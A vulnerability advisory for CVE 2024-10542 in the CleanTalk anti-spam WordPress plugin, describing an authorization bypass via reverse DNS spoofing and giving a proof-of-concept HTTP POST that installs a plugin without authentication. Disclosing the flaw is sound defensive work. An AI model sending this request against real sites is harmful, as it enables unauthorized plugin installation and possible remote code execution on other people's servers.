Spam protection, Anti-Spam, FireWall by CleanTalk < 6.44 – Unauthenticated Arbitrary Plugin Installation | CVE 2024-10542

Description

The plugin is vulnerable to unauthorized Arbitrary Plugin Installation due to an authorization bypass via reverse DNS spoofing on the checkWithoutToken function. This makes it possible for unauthenticated attackers to install and activate arbitrary plugins which can be leveraged to achieve remote code execution if another vulnerable plugin is installed and activated.

Proof of Concept

From a host with a reserve DNS containing cleantalk.org

POST /?plugin=test/test.php HTTP/1.1
Host: example.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:148.0) Gecko/20100101 Firefox/148.0
Accept: */*
Accept-Language: en-US,en;q=0.9
Accept-Encoding: gzip, deflate, br
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 56

spbc_remote_call_action=install_plugin&plugin_name=apbct